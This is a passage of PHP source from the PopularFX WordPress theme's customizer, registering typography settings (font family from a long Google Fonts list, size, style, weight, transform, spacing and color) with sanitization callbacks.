'normal', 'lighter', 'bold', 'bolder', 'inherit']; $popularfx_styles['transform'] = ['inherit', 'initial', 'capitalize', 'uppercase', 'lowercase', 'none']; $popularfx_styles['font-family'] = ['Inherit','ABeeZee', 'Abel', 'Abhaya Libre', 'Abril Fatface', 'Aclonica', 'Acme', 'Actor', 'Adamina', 'Advent Pro', 'Aguafina Script', 'Akaya Kanadaka', 'Akaya Telivigala', 'Akronim', 'Aladin', 'Alata', 'Alatsi', 'Aldrich', 'Alef', 'Alegreya', 'Alegreya Sans', 'Alegreya Sans SC', 'Alegreya SC', 'Aleo', 'Alex Brush', 'Alfa Slab One', 'Alice', 'Alike', 'Alike Angular', 'Allan', 'Allerta', 'Allerta Stencil', 'Allison', 'Allura', 'Almarai', 'Almendra', 'Almendra Display', 'Almendra SC', 'Alumni Sans', 'Amarante', 'Amaranth', 'Amatic SC', 'Amethysta', 'Amiko', 'Amiri', 'Amita', 'Anaheim', 'Andada Pro', 'Andika', 'Andika New Basic', 'Angkor', 'Annie Use Your Telescope', 'Anonymous Pro', 'Antic', 'Antic Didone', 'Antic Slab', 'Anton', 'Antonio', 'Arapey', 'Arbutus', 'Arbutus Slab', 'Architects Daughter', 'Archivo', 'Archivo Black', 'Archivo Narrow', 'Are You Serious', 'Aref Ruqaa', 'Arima Madurai', 'Arimo', 'Arizonia', 'Armata', 'Arsenal', 'Artifika', 'Arvo', 'Arya', 'Asap', 'Asap Condensed', 'Asar', 'Asset', 'Assistant', 'Astloch', 'Asul', 'Athiti', 'Atkinson Hyperlegible', 'Atma', 'Atomic Age', 'Aubrey', 'Audiowide', 'Autour One', 'Average', 'Average Sans', 'Averia Gruesa Libre', 'Averia Libre', 'Averia Sans Libre', 'Averia Serif Libre', 'Azeret Mono', 'B612', 'B612 Mono', 'Bad Script', 'Bahiana', 'Bahianita', 'Bai Jamjuree', 'Ballet', 'Baloo 2', 'Baloo Bhai 2', 'Baloo Bhaina 2', 'Baloo Chettan 2', 'Baloo Da 2', 'Baloo Paaji 2', 'Baloo Tamma 2', 'Baloo Tammudu 2', 'Baloo Thambi 2', 'Balsamiq Sans', 'Balthazar', 'Bangers', 'Barlow', 'Barlow Condensed', 'Barlow Semi Condensed', 'Barriecito', 'Barrio', 'Basic', 'Baskervville', 'Battambang', 'Baumans', 'Bayon', 'Be Vietnam', 'Be Vietnam Pro', 'Bebas Neue', 'Belgrano', 'Bellefair', 'Belleza', 'Bellota', 'Bellota Text', 'BenchNine', 'Benne', 'Bentham', 'Berkshire Swash', 'Besley', 'Beth Ellen', 'Bevan', 'Big Shoulders Display', 'Big Shoulders Inline Display', 'Big Shoulders Inline Text', 'Big Shoulders Stencil Display', 'Big Shoulders Stencil Text', 'Big Shoulders Text', 'Bigelow Rules', 'Bigshot One', 'Bilbo', 'Bilbo Swash Caps', 'BioRhyme', 'BioRhyme Expanded', 'Birthstone', 'Birthstone Bounce', 'Biryani', 'Bitter', 'Black And White Picture', 'Black Han Sans', 'Black Ops One', 'Blinker', 'Bodoni Moda', 'Bokor', 'Bona Nova', 'Bonbon', 'Bonheur Royale', 'Boogaloo', 'Bowlby One', 'Bowlby One SC', 'Brawler', 'Bree Serif', 'Brygada 1918', 'Bubblegum Sans', 'Bubbler One', 'Buda', 'Buenard', 'Bungee', 'Bungee Hairline', 'Bungee Inline', 'Bungee Outline', 'Bungee Shade', 'Butcherman', 'Butterfly Kids', 'Cabin', 'Cabin Condensed', 'Cabin Sketch', 'Caesar Dressing', 'Cagliostro', 'Cairo', 'Caladea', 'Calistoga', 'Calligraffitti', 'Cambay', 'Cambo', 'Candal', 'Cantarell', 'Cantata One', 'Cantora One', 'Capriola', 'Caramel', 'Carattere', 'Cardo', 'Carme', 'Carrois Gothic', 'Carrois Gothic SC', 'Carter One', 'Castoro', 'Catamaran', 'Caudex', 'Caveat', 'Caveat Brush', 'Cedarville Cursive', 'Ceviche One', 'Chakra Petch', 'Changa', 'Changa One', 'Chango', 'Charm', 'Charmonman', 'Chathura', 'Chau Philomene One', 'Chela One', 'Chelsea Market', 'Chenla', 'Cherish', 'Cherry Cream Soda', 'Cherry Swash', 'Chewy', 'Chicle', 'Chilanka', 'Chivo', 'Chonburi', 'Cinzel', 'Cinzel Decorative', 'Clicker Script', 'Coda', 'Coda Caption', 'Codystar', 'Coiny', 'Combo', 'Comfortaa', 'Comic Neue', 'Coming Soon', 'Commissioner', 'Concert One', 'Condiment', 'Content', 'Contrail One', 'Convergence', 'Cookie', 'Copse', 'Corben', 'Cormorant', 'Cormorant Garamond', 'Cormorant Infant', 'Cormorant SC', 'Cormorant Unicase', 'Cormorant Upright', 'Courgette', 'Courier Prime', 'Cousine', 'Coustard', 'Covered By Your Grace', 'Crafty Girls', 'Creepster', 'Crete Round', 'Crimson Pro', 'Crimson Text', 'Croissant One', 'Crushed', 'Cuprum', 'Cute Font', 'Cutive', 'Cutive Mono', 'Damion', 'Dancing Script', 'Dangrek', 'Darker Grotesque', 'David Libre', 'Dawning of a New Day', 'Days One', 'Dekko', 'Dela Gothic One', 'Delius', 'Delius Swash Caps', 'Delius Unicase', 'Della Respira', 'Denk One', 'Devonshire', 'Dhurjati', 'Didact Gothic', 'Diplomata', 'Diplomata SC', 'DM Mono', 'DM Sans', 'DM Serif Display', 'DM Serif Text', 'Do Hyeon', 'Dokdo', 'Domine', 'Donegal One', 'Doppio One', 'Dorsa', 'Dosis', 'DotGothic16', 'Dr Sugiyama', 'Duru Sans', 'Dynalight', 'Eagle Lake', 'East Sea Dokdo', 'Eater', 'EB Garamond', 'Economica', 'Eczar', 'El Messiri', 'Electrolize', 'Elsie', 'Elsie Swash Caps', 'Emblema One', 'Emilys Candy', 'Encode Sans', 'Encode Sans Condensed', 'Encode Sans Expanded', 'Encode Sans SC', 'Encode Sans Semi Condensed', 'Encode Sans Semi Expanded', 'Engagement', 'Englebert', 'Enriqueta', 'Ephesis', 'Epilogue', 'Erica One', 'Esteban', 'Euphoria Script', 'Ewert', 'Exo', 'Exo 2', 'Expletus Sans', 'Explora', 'Fahkwang', 'Fanwood Text', 'Farro', 'Farsan', 'Fascinate', 'Fascinate Inline', 'Faster One', 'Fasthand', 'Fauna One', 'Faustina', 'Federant', 'Federo', 'Felipa', 'Fenix', 'Festive', 'Finger Paint', 'Fira Code', 'Fira Mono', 'Fira Sans', 'Fira Sans Condensed', 'Fira Sans Extra Condensed', 'Fjalla One', 'Fjord One', 'Flamenco', 'Flavors', 'Fleur De Leah', 'Fondamento', 'Fontdiner Swanky', 'Forum', 'Francois One', 'Frank Ruhl Libre', 'Fraunces', 'Freckle Face', 'Fredericka the Great', 'Fredoka One', 'Freehand', 'Fresca', 'Frijole', 'Fruktur', 'Fugaz One', 'Fuggles', 'Gabriela', 'Gaegu', 'Gafata', 'Galada', 'Galdeano', 'Galindo', 'Gamja Flower', 'Gayathri', 'Gelasio', 'Gemunu Libre', 'Gentium Basic', 'Gentium Book Basic', 'Geo', 'Georama', 'Geostar', 'Geostar Fill', 'Germania One', 'GFS Didot', 'GFS Neohellenic', 'Gideon Roman', 'Gidugu', 'Gilda Display', 'Girassol', 'Give You Glory', 'Glass Antiqua', 'Glegoo', 'Gloria Hallelujah', 'Glory', 'Gluten', 'Goblin One', 'Gochi Hand', 'Goldman', 'Gorditas', 'Gothic A1', 'Gotu', 'Goudy Bookletter 1911', 'Gowun Batang', 'Gowun Dodum', 'Graduate', 'Grand Hotel', 'Grandstander', 'Gravitas One', 'Great Vibes', 'Grechen Fuemen', 'Grenze', 'Grenze Gotisch', 'Grey Qo', 'Griffy', 'Gruppo', 'Gudea', 'Gugi', 'Gupter', 'Gurajada', 'Habibi', 'Hachi Maru Pop', 'Hahmlet', 'Halant', 'Hammersmith One', 'Hanalei', 'Hanalei Fill', 'Handlee', 'Hanuman', 'Happy Monkey', 'Harmattan', 'Headland One', 'Heebo', 'Henny Penny', 'Hepta Slab', 'Herr Von Muellerhoff', 'Hi Melody', 'Hina Mincho', 'Hind', 'Hind Guntur', 'Hind Madurai', 'Hind Siliguri', 'Hind Vadodara', 'Holtwood One SC', 'Homemade Apple', 'Homenaje', 'Ibarra Real Nova', 'IBM Plex Mono', 'IBM Plex Sans', 'IBM Plex Sans Arabic', 'IBM Plex Sans Condensed', 'IBM Plex Sans Devanagari', 'IBM Plex Sans Hebrew', 'IBM Plex Sans KR', 'IBM Plex Sans Thai', 'IBM Plex Sans Thai Looped', 'IBM Plex Serif', 'Iceberg', 'Iceland', 'IM Fell Double Pica', 'IM Fell Double Pica SC', 'IM Fell DW Pica', 'IM Fell DW Pica SC', 'IM Fell English', 'IM Fell English SC', 'IM Fell French Canon', 'IM Fell French Canon SC', 'IM Fell Great Primer', 'IM Fell Great Primer SC', 'Imbue', 'Imprima', 'Inconsolata', 'Inder', 'Indie Flower', 'Inika', 'Inknut Antiqua', 'Inria Sans', 'Inria Serif', 'Inter', 'Irish Grover', 'Istok Web', 'Italiana', 'Italianno', 'Itim', 'Jacques Francois', 'Jacques Francois Shadow', 'Jaldi', 'JetBrains Mono', 'Jim Nightshade', 'Jockey One', 'Jolly Lodger', 'Jomhuria', 'Jomolhari', 'Josefin Sans', 'Josefin Slab', 'Jost', 'Joti One', 'Jua', 'Judson', 'Julee', 'Julius Sans One', 'Junge', 'Jura', 'Just Another Hand', 'Just Me Again Down Here', 'K2D', 'Kadwa', 'Kaisei Decol', 'Kaisei HarunoUmi', 'Kaisei Opti', 'Kaisei Tokumin', 'Kalam', 'Kameron', 'Kanit', 'Kantumruy', 'Karantina', 'Karla', 'Karma', 'Katibeh', 'Kaushan Script', 'Kavivanar', 'Kavoon', 'Kdam Thmor', 'Keania One', 'Kelly Slab', 'Kenia', 'Khand', 'Khmer', 'Khula', 'Kirang Haerang', 'Kite One', 'Kiwi Maru', 'Klee One', 'Knewave', 'Kodchasan', 'Koh Santepheap', 'KoHo', 'Kosugi', 'Kosugi Maru', 'Kotta One', 'Koulen', 'Kranky', 'Kreon', 'Kristi', 'Krona One', 'Krub', 'Kufam', 'Kulim Park', 'Kumar One', 'Kumar One Outline', 'Kumbh Sans', 'Kurale', 'La Belle Aurore', 'Lacquer', 'Laila', 'Lakki Reddy', 'Lalezar', 'Lancelot', 'Langar', 'Lateef', 'Lato', 'League Script', 'Leckerli One', 'Ledger', 'Lekton', 'Lemon', 'Lemonada', 'Lexend', 'Lexend Deca', 'Lexend Exa', 'Lexend Giga', 'Lexend Mega', 'Lexend Peta', 'Lexend Tera', 'Lexend Zetta', 'Libre Barcode 128', 'Libre Barcode 128 Text', 'Libre Barcode 39', 'Libre Barcode 39 Extended', 'Libre Barcode 39 Extended Text', 'Libre Barcode 39 Text', 'Libre Barcode EAN13 Text', 'Libre Baskerville', 'Libre Caslon Display', 'Libre Caslon Text', 'Libre Franklin', 'Life Savers', 'Lilita One', 'Lily Script One', 'Limelight', 'Linden Hill', 'Literata', 'Liu Jian Mao Cao', 'Livvic', 'Lobster', 'Lobster Two', 'Londrina Outline', 'Londrina Shadow', 'Londrina Sketch', 'Londrina Solid', 'Long Cang', 'Lora', 'Love Ya Like A Sister', 'Loved by the King', 'Lovers Quarrel', 'Luckiest Guy', 'Lusitana', 'Lustria', 'M PLUS 1p', 'M PLUS Rounded 1c', 'Ma Shan Zheng', 'Macondo', 'Macondo Swash Caps', 'Mada', 'Magra', 'Maiden Orange', 'Maitree', 'Major Mono Display', 'Mako', 'Mali', 'Mallanna', 'Mandali', 'Manjari', 'Manrope', 'Mansalva', 'Manuale', 'Marcellus', 'Marcellus SC', 'Marck Script', 'Margarine', 'Markazi Text', 'Marko One', 'Marmelad', 'Martel', 'Martel Sans', 'Marvel', 'Mate', 'Mate SC', 'Maven Pro', 'McLaren', 'Meddon', 'MedievalSharp', 'Medula One', 'Meera Inimai', 'Megrim', 'Meie Script', 'Merienda', 'Merienda One', 'Merriweather', 'Merriweather Sans', 'Metal', 'Metal Mania', 'Metamorphous', 'Metrophobic', 'Michroma', 'Milonga', 'Miltonian', 'Miltonian Tattoo', 'Mina', 'Miniver', 'Miriam Libre', 'Mirza', 'Miss Fajardose', 'Mitr', 'Modak', 'Modern Antiqua', 'Mogra', 'Molengo', 'Molle', 'Monda', 'Monofett', 'Monoton', 'Monsieur La Doulaise', 'Montaga', 'MonteCarlo', 'Montez', 'Montserrat', 'Montserrat Alternates', 'Montserrat Subrayada', 'Moul', 'Moulpali', 'Mountains of Christmas', 'Mouse Memoirs', 'Mr Bedfort', 'Mr Dafoe', 'Mr De Haviland', 'Mrs Saint Delafield', 'Mrs Sheppards', 'Mukta', 'Mukta Mahee', 'Mukta Malar', 'Mukta Vaani', 'Mulish', 'MuseoModerno', 'Mystery Quest', 'Nanum Brush Script', 'Nanum Gothic', 'Nanum Gothic Coding', 'Nanum Myeongjo', 'Nanum Pen Script', 'Nerko One', 'Neucha', 'Neuton', 'New Rocker', 'New Tegomin', 'News Cycle', 'Newsreader', 'Niconne', 'Niramit', 'Nixie One', 'Nobile', 'Nokora', 'Norican', 'Nosifer', 'Notable', 'Nothing You Could Do', 'Noticia Text', 'Noto Kufi Arabic', 'Noto Music', 'Noto Naskh Arabic', 'Noto Nastaliq Urdu', 'Noto Rashi Hebrew', 'Noto Sans', 'Noto Sans Adlam', 'Noto Sans Adlam Unjoined', 'Noto Sans Anatolian Hieroglyphs', 'Noto Sans Arabic', 'Noto Sans Armenian', 'Noto Sans Avestan', 'Noto Sans Balinese', 'Noto Sans Bamum', 'Noto Sans Bassa Vah', 'Noto Sans Batak', 'Noto Sans Bengali', 'Noto Sans Bhaiksuki', 'Noto Sans Brahmi', 'Noto Sans Buginese', 'Noto Sans Buhid', 'Noto Sans Canadian Aboriginal', 'Noto Sans Carian', 'Noto Sans Caucasian Albanian', 'Noto Sans Chakma', 'Noto Sans Cham', 'Noto Sans Cherokee', 'Noto Sans Coptic', 'Noto Sans Cuneiform', 'Noto Sans Cypriot', 'Noto Sans Deseret', 'Noto Sans Devanagari', 'Noto Sans Display', 'Noto Sans Duployan', 'Noto Sans Egyptian Hieroglyphs', 'Noto Sans Elbasan', 'Noto Sans Elymaic', 'Noto Sans Georgian', 'Noto Sans Glagolitic', 'Noto Sans Gothic', 'Noto Sans Grantha', 'Noto Sans Gujarati', 'Noto Sans Gunjala Gondi', 'Noto Sans Gurmukhi', 'Noto Sans Hanifi Rohingya', 'Noto Sans Hanunoo', 'Noto Sans Hatran', 'Noto Sans Hebrew', 'Noto Sans Hong Kong', 'Noto Sans Imperial Aramaic', 'Noto Sans Indic Siyaq Numbers', 'Noto Sans Inscriptional Pahlavi', 'Noto Sans Inscriptional Parthian', 'Noto Sans Japanese', 'Noto Sans Javanese', 'Noto Sans Kaithi', 'Noto Sans Kannada', 'Noto Sans Kayah Li', 'Noto Sans Kharoshthi', 'Noto Sans Khmer', 'Noto Sans Khojki', 'Noto Sans Khudawadi', 'Noto Sans Korean', 'Noto Sans Lao', 'Noto Sans Lepcha', 'Noto Sans Limbu', 'Noto Sans Linear A', 'Noto Sans Linear B', 'Noto Sans Lisu', 'Noto Sans Lycian', 'Noto Sans Lydian', 'Noto Sans Mahajani', 'Noto Sans Malayalam', 'Noto Sans Mandaic', 'Noto Sans Manichaean', 'Noto Sans Marchen', 'Noto Sans Masaram Gondi', 'Noto Sans Math', 'Noto Sans Mayan Numerals', 'Noto Sans Medefaidrin', 'Noto Sans Meroitic', 'Noto Sans Miao', 'Noto Sans Modi', 'Noto Sans Mongolian', 'Noto Sans Mono', 'Noto Sans Mro', 'Noto Sans Multani', 'Noto Sans Myanmar', 'Noto Sans Nabataean', 'Noto Sans New Tai Lue', 'Noto Sans Newa', 'Noto Sans Nüshu', 'Noto Sans Ogham', 'Noto Sans Ol Chiki', 'Noto Sans Old Hungarian', 'Noto Sans Old Italic', 'Noto Sans Old North Arabian', 'Noto Sans Old Permic', 'Noto Sans Old Persian', 'Noto Sans Old Sogdian', 'Noto Sans Old South Arabian', 'Noto Sans Old Turkic', 'Noto Sans Oriya', 'Noto Sans Osage', 'Noto Sans Osmanya', 'Noto Sans Pahawh Hmong', 'Noto Sans Palmyrene', 'Noto Sans Pau Cin Hau', 'Noto Sans Phags Pa', 'Noto Sans Phoenician', 'Noto Sans Psalter Pahlavi', 'Noto Sans Rejang', 'Noto Sans Runic', 'Noto Sans Samaritan', 'Noto Sans Saurashtra', 'Noto Sans Sharada', 'Noto Sans Shavian', 'Noto Sans Siddham', 'Noto Sans Simplified Chinese', 'Noto Sans Sinhala', 'Noto Sans Sogdian', 'Noto Sans Sora Sompeng', 'Noto Sans Soyombo', 'Noto Sans Sundanese', 'Noto Sans Syloti Nagri', 'Noto Sans Symbols', 'Noto Sans Symbols 2', 'Noto Sans Syriac', 'Noto Sans Tagalog', 'Noto Sans Tagbanwa', 'Noto Sans Tai Le', 'Noto Sans Tai Tham', 'Noto Sans Tai Viet', 'Noto Sans Takri', 'Noto Sans Tamil', 'Noto Sans Tamil Supplement', 'Noto Sans Telugu', 'Noto Sans Thaana', 'Noto Sans Thai', 'Noto Sans Thai Looped', 'Noto Sans Tifinagh', 'Noto Sans Tirhuta', 'Noto Sans Traditional Chinese', 'Noto Sans Ugaritic', 'Noto Sans Vai', 'Noto Sans Wancho', 'Noto Sans Warang Citi', 'Noto Sans Yi', 'Noto Sans Zanabazar Square', 'Noto Serif', 'Noto Serif Ahom', 'Noto Serif Armenian', 'Noto Serif Balinese', 'Noto Serif Bengali', 'Noto Serif Devanagari', 'Noto Serif Display', 'Noto Serif Dogra', 'Noto Serif Ethiopic', 'Noto Serif Georgian', 'Noto Serif Grantha', 'Noto Serif Gujarati', 'Noto Serif Gurmukhi', 'Noto Serif Hebrew', 'Noto Serif Japanese', 'Noto Serif Kannada', 'Noto Serif Khmer', 'Noto Serif KR', 'Noto Serif Lao', 'Noto Serif Malayalam', 'Noto Serif Myanmar', 'Noto Serif Nyiakeng Puachue Hmong', 'Noto Serif Simplified Chinese', 'Noto Serif Sinhala', 'Noto Serif Tamil', 'Noto Serif Tangut', 'Noto Serif Telugu', 'Noto Serif Thai', 'Noto Serif Tibetan', 'Noto Serif Traditional Chinese', 'Noto Serif Yezidi', 'Noto Traditional Nüshu', 'Nova Cut', 'Nova Flat', 'Nova Mono', 'Nova Oval', 'Nova Round', 'Nova Script', 'Nova Slim', 'Nova Square', 'NTR', 'Numans', 'Nunito', 'Nunito Sans', 'Odibee Sans', 'Odor Mean Chey', 'Offside', 'Oi', 'Old Standard TT', 'Oldenburg', 'Oleo Script', 'Oleo Script Swash Caps', 'Open Sans', 'Open Sans Condensed', 'Oranienbaum', 'Orbitron', 'Oregano', 'Orelega One', 'Orienta', 'Original Surfer', 'Oswald', 'Otomanopee One', 'Over the Rainbow', 'Overlock', 'Overlock SC', 'Overpass', 'Overpass Mono', 'Ovo', 'Oxanium', 'Oxygen', 'Oxygen Mono', 'Pacifico', 'Padauk', 'Palanquin', 'Palanquin Dark', 'Palette Mosaic', 'Pangolin', 'Paprika', 'Parisienne', 'Passero One', 'Passion One', 'Pathway Gothic One', 'Patrick Hand', 'Patrick Hand SC', 'Pattaya', 'Patua One', 'Pavanam', 'Paytone One', 'Peddana', 'Peralta', 'Permanent Marker', 'Petit Formal Script', 'Petrona', 'Philosopher', 'Piazzolla', 'Piedra', 'Pinyon Script', 'Pirata One', 'Plaster', 'Play', 'Playball', 'Playfair Display', 'Playfair Display SC', 'Podkova', 'Poiret One', 'Poller One', 'Poly', 'Pompiere', 'Pontano Sans', 'Poor Story', 'Poppins', 'Port Lligat Sans', 'Port Lligat Slab', 'Potta One', 'Pragati Narrow', 'Prata', 'Preahvihear', 'Press Start 2P', 'Pridi', 'Princess Sofia', 'Prociono', 'Prompt', 'Prosto One', 'Proza Libre', 'PT Mono', 'PT Sans', 'PT Sans Caption', 'PT Sans Narrow', 'PT Serif', 'PT Serif Caption', 'Public Sans', 'Puritan', 'Purple Purse', 'Qahiri', 'Quando', 'Quantico', 'Quattrocento', 'Quattrocento Sans', 'Questrial', 'Quicksand', 'Quintessential', 'Qwigley', 'Racing Sans One', 'Radley', 'Rajdhani', 'Rakkas', 'Raleway', 'Raleway Dots', 'Ramabhadra', 'Ramaraja', 'Rambla', 'Rammetto One', 'Rampart One', 'Ranchers', 'Rancho', 'Ranga', 'Rasa', 'Rationale', 'Ravi Prakash', 'Recursive', 'Red Hat Display', 'Red Hat Text', 'Red Rose', 'Redressed', 'Reem Kufi', 'Reenie Beanie', 'Reggae One', 'Revalia', 'Rhodium Libre', 'Ribeye', 'Ribeye Marrow', 'Righteous', 'Risque', 'Roboto', 'Roboto Condensed', 'Roboto Mono', 'Roboto Slab', 'Rochester', 'Rock Salt', 'RocknRoll One', 'Rokkitt', 'Romanesco', 'Ropa Sans', 'Rosario', 'Rosarivo', 'Rouge Script', 'Rowdies', 'Rozha One', 'Rubik', 'Rubik Beastly', 'Rubik Mono One', 'Ruda', 'Rufina', 'Ruge Boogie', 'Ruluko', 'Rum Raisin', 'Ruslan Display', 'Russo One', 'Ruthie', 'Rye', 'Sacramento', 'Sahitya', 'Sail', 'Saira', 'Saira Condensed', 'Saira Extra Condensed', 'Saira Semi Condensed', 'Saira Stencil One', 'Salsa', 'Sanchez', 'Sancreek', 'Sansita', 'Sansita Swashed', 'Sarabun', 'Sarala', 'Sarina', 'Sarpanch', 'Satisfy', 'Sawarabi Gothic', 'Sawarabi Mincho', 'Scada', 'Scheherazade', 'Scheherazade New', 'Schoolbell', 'Scope One', 'Seaweed Script', 'Secular One', 'Sedgwick Ave', 'Sedgwick Ave Display', 'Sen', 'Sevillana', 'Seymour One', 'Shadows Into Light', 'Shadows Into Light Two', 'Shanti', 'Share', 'Share Tech', 'Share Tech Mono', 'Shippori Mincho', 'Shippori Mincho B1', 'Shojumaru', 'Short Stack', 'Shrikhand', 'Siemreap', 'Sigmar One', 'Signika', 'Signika Negative', 'Simonetta', 'Single Day', 'Sintony', 'Sirin Stencil', 'Six Caps', 'Skranji', 'Slabo 13px', 'Slabo 27px', 'Slackey', 'Smokum', 'Smythe', 'Sniglet', 'Snippet', 'Snowburst One', 'Sofadi One', 'Sofia', 'Solway', 'Song Myung', 'Sonsie One', 'Sora', 'Sorts Mill Goudy', 'Source Code Pro', 'Source Sans Pro', 'Source Serif Pro', 'Space Grotesk', 'Space Mono', 'Spartan', 'Special Elite', 'Spectral', 'Spectral SC', 'Spicy Rice', 'Spinnaker', 'Spirax', 'Squada One', 'Sree Krushnadevaraya', 'Sriracha', 'Srisakdi', 'Staatliches', 'Stalemate', 'Stalinist One', 'Stardos Stencil', 'Stick', 'Stick No Bills', 'Stint Ultra Condensed', 'Stint Ultra Expanded', 'STIX Two Text', 'Stoke', 'Strait', 'Style Script', 'Stylish', 'Sue Ellen Francisco', 'Suez One', 'Sulphur Point', 'Sumana', 'Sunflower', 'Sunshiney', 'Supermercado One', 'Sura', 'Suranna', 'Suravaram', 'Suwannaphum', 'Swanky and Moo Moo', 'Syncopate', 'Syne', 'Syne Mono', 'Syne Tactile', 'Tajawal', 'Tangerine', 'Taprom', 'Tauri', 'Taviraj', 'Teko', 'Telex', 'Tenali Ramakrishna', 'Tenor Sans', 'Text Me One', 'Texturina', 'Thasadith', 'The Girl Next Door', 'Tienne', 'Tillana', 'Timmana', 'Tinos', 'Titan One', 'Titillium Web', 'Tomorrow', 'Tourney', 'Trade Winds', 'Train One', 'Trirong', 'Trispace', 'Trocchi', 'Trochut', 'Truculenta', 'Trykker', 'Tulpen One', 'Turret Road', 'Ubuntu', 'Ubuntu Condensed', 'Ubuntu Mono', 'Uchen', 'Ultra', 'Uncial Antiqua', 'Underdog', 'Unica One', 'UnifrakturCook', 'UnifrakturMaguntia', 'Unkempt', 'Unlock', 'Unna', 'Urbanist', 'Vampiro One', 'Varela', 'Varela Round', 'Varta', 'Vast Shadow', 'Vesper Libre', 'Viaoda Libre', 'Vibes', 'Vibur', 'Vidaloka', 'Viga', 'Voces', 'Volkhov', 'Vollkorn', 'Vollkorn SC', 'Voltaire', 'VT323', 'Waiting for the Sunrise', 'Wallpoet', 'Walter Turncoat', 'Warnes', 'Wellfleet', 'Wendy One', 'WindSong', 'Wire One', 'Work Sans', 'Xanh Mono', 'Yaldevi', 'Yanone Kaffeesatz', 'Yantramanav', 'Yatra One', 'Yellowtail', 'Yeon Sung', 'Yeseva One', 'Yesteryear', 'Yomogi', 'Yrsa', 'Yusei Magic', 'ZCOOL KuaiLe', 'ZCOOL QingKe HuangYou', 'ZCOOL XiaoWei', 'Zen Dots', 'Zen Loop', 'Zen Tokyo Zoo', 'Zeyada', 'Zhi Mang Xing', 'Zilla Slab', 'Zilla Slab Highlight']; foreach($popularfx_styles['font-family'] as $k => $font){ $r[$font] = esc_attr($font); } $wp_customize->add_section( 'popularfx_'.$prefix.'_typo', array( 'title' => $text, 'panel' => 'typography', ) ); // Font Family $wp_customize->add_setting( 'popularfx_'.$prefix.'[font-family]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'inherit', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_'.$prefix.'[font-family]', array( 'type' => 'select', 'section' => 'popularfx_'.$prefix.'_typo', 'settings' => 'popularfx_'.$prefix.'[font-family]', 'label' => __( 'Font Family', 'popularfx' ), 'choices' => $r, ) ); $fsizes = []; $fsizes[0] = 'Default'; for($i = 5; $i <= 75; $i++){ $fsizes[$i] = esc_attr($i.'px'); } // Font Size $wp_customize->add_setting( 'popularfx_'.$prefix.'[font-size]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 20, 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( 'popularfx_'.$prefix.'[font-size]', array( 'type' => 'select', 'section' => 'popularfx_'.$prefix.'_typo', 'settings' => 'popularfx_'.$prefix.'[font-size]', 'label' => __( 'Font Size', 'popularfx' ), 'choices' => $fsizes, ) ); // Font Style $wp_customize->add_setting( 'popularfx_'.$prefix.'[font-style]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'inherit', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_'.$prefix.'[font-style]', array( 'type' => 'select', 'section' => 'popularfx_'.$prefix.'_typo', 'settings' => 'popularfx_'.$prefix.'[font-style]', 'label' => __( 'Font Style', 'popularfx' ), 'choices' => array( 'default' => __( 'Default', 'popularfx' ), 'normal' => __( 'Normal', 'popularfx' ), 'italic' => __( 'Italic', 'popularfx' ), 'oblique' => __( 'Oblique', 'popularfx' ) ), ) ); $popularfx_weight = array(); foreach($popularfx_styles['font-weight'] as $k => $weight){ $popularfx_weight[$weight] = esc_attr($weight); } // Font Weight $wp_customize->add_setting( 'popularfx_'.$prefix.'[font-weight]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'inherit', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_'.$prefix.'[font-weight]', array( 'type' => 'select', 'section' => 'popularfx_'.$prefix.'_typo', 'settings' => 'popularfx_'.$prefix.'[font-weight]', 'label' => __( 'Font Weight', 'popularfx' ), 'choices' => $popularfx_weight, ) ); $popularfx_transform = array(); foreach($popularfx_styles['transform'] as $k => $transform){ $popularfx_transform[$transform] = esc_attr($transform); } // Text Transform $wp_customize->add_setting( 'popularfx_'.$prefix.'[text-transform]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'inherit', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_'.$prefix.'[text-transform]', array( 'type' => 'select', 'section' => 'popularfx_'.$prefix.'_typo', 'settings' => 'popularfx_'.$prefix.'[text-transform]', 'label' => __( 'Text Transform', 'popularfx' ), 'choices' => $popularfx_transform, ) ); $r = []; $r[0] = 'Default'; for($i = 1; $i <= 50; $i++){ $v = (string) round($i/10, 1); $r[$v] = esc_attr($v); } //pagelayer_print($r); // Line Height $wp_customize->add_setting( 'popularfx_'.$prefix.'[line-height]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'inherit', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_'.$prefix.'[line-height]', array( 'type' => 'select', 'section' => 'popularfx_'.$prefix.'_typo', 'settings' => 'popularfx_'.$prefix.'[line-height]', 'label' => __( 'Line Height', 'popularfx' ), 'choices' => $r, ) ); // Text Spacing $wp_customize->add_setting( 'popularfx_'.$prefix.'[letter-spacing]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'inherit', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_'.$prefix.'[letter-spacing]', array( 'type' => 'select', 'section' => 'popularfx_'.$prefix.'_typo', 'settings' => 'popularfx_'.$prefix.'[letter-spacing]', 'label' => __( 'Text Spacing', 'popularfx' ), 'choices' => $r, ) ); // Word Spacing $wp_customize->add_setting( 'popularfx_'.$prefix.'[word-spacing]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'inherit', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_'.$prefix.'[word-spacing]', array( 'type' => 'select', 'section' => 'popularfx_'.$prefix.'_typo', 'settings' => 'popularfx_'.$prefix.'[word-spacing]', 'label' => __( 'Word Spacing', 'popularfx' ), 'choices' => $r, ) ); //Font Colors $wp_customize->add_setting( 'popularfx_'.$prefix.'[color]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'inherit', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_'.$prefix.'[color]', array( 'section' => 